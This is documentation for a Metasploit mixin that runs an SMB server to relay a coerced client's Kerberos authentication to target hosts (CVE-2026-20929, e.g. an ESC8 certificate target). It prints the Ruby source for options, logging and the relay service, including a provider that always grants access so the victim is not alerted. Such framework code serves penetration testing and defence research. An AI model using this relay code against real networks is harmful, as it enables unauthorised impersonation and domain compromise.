Module: Msf::Exploit::Remote::SMB::Relay::Kerberos::RelayServer

Includes:
Auxiliary::MultipleTargetHosts, Msf::Exploit::Remote::SocketServer
Defined in:
lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb

Overview

Module-level mixin that runs an SMB server which relays a coerced client’s Kerberos AP-REQ to a target (CVE-2026-20929). The Kerberos counterpart to Msf::Exploit::Remote::SMB::RelayServer.

The including module supplies #relay_targets and receives on_relay_success / on_relay_failure, so the relay server stays decoupled from what is done with the authenticated connection (e.g. the ESC8 certificate target).

Defined Under Namespace

Classes: KerberosSMBRelayServer

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::SocketServer

#service

Instance Method Summary collapse

Methods included from Msf::Exploit::Remote::SocketServer

#_determine_server_comm, #bindhost, #bindport, #cleanup, #cleanup_service, #exploit, #on_client_data, #primer, #regenerate_payload, #srvhost, #srvhost_addr, #srvport, #via_string

Methods included from Auxiliary::MultipleTargetHosts

#check, #has_check?

Instance Method Details

#initialize(info = {}) ⇒ Object 



16
17
18
19
20
21
22
23
24
25
26
27
28
 
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb', line 16

def initialize(info = {})
  super

  register_options(
    [
      Msf::OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
      Msf::OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
      Msf::OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),
      Msf::OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']),
      Msf::OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
    ], self.class
  )
end

#on_relay_failure(relay_connection:) ⇒ Object 



163
164
165
 
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb', line 163

def on_relay_failure(relay_connection:)
  # noop
end

#relay_targets ⇒ Object

Raises:

  • (NotImplementedError) 


159
160
161
 
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb', line 159

def relay_targets
  raise NotImplementedError, 'the including module must define #relay_targets'
end

#smb_logger ⇒ Object 



30
31
32
33
34
35
36
37
38
 
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb', line 30

def smb_logger
  log_device = if datastore['VERBOSE']
                 Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Module.new(self)
               else
                 Msf::Exploit::Remote::SMB::LogAdapter::LogDevice::Framework.new(framework)
               end

  Msf::Exploit::Remote::SMB::LogAdapter::Logger.new(self, log_device)
end

#start_service(_opts = {}) ⇒ Object 



115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
 
# File 'lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb', line 115

def start_service(_opts = {})
  # The Kerberos capture path short-circuits before the GSS provider is
  # consulted, so this provider only backs the NTLM/anonymous fallback for
  # non-Kerberos SessionSetups; access is granted so the coerced client is
  # never tipped off by an auth failure.
  gss_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new(
    default_domain: datastore['SMBDomain']
  )
  gss_provider.dns_domain = datastore['SMBDomain']
  gss_provider.dns_hostname = datastore['SMBDomain']
  gss_provider.netbios_domain = datastore['SMBDomain']
  gss_provider.netbios_hostname = datastore['SMBDomain']

  comm = _determine_server_comm(bindhost)
  @service = Rex::ServiceManager.start(
    self.class::KerberosSMBRelayServer,
    {
      socket: {
        'Comm' => comm,
        'LocalHost' => bindhost,
        'LocalPort' => datastore['SRVPORT'],
        'Server' => true,
        'Timeout' => datastore['SRV_TIMEOUT'],
        'Context' => {
          'Msf' => framework,
          'MsfExploit' => self
        }
      },
      smb_server: {
        gss_provider: gss_provider,
        logger: smb_logger,
        relay_targets: relay_targets,
        listener: self,
        relay_timeout: datastore['RELAY_TIMEOUT'],
        thread_manager: framework.threads
      }
    }
  )
  print_status("SMB Kerberos relay server is running. Listening on #{Rex::Socket.to_authority(bindhost, datastore['SRVPORT'])}")
  @service
rescue Errno::EACCES => e
  fail_with(Msf::Module::Failure::BadConfig, "Failed to create the relay server: #{e}")
end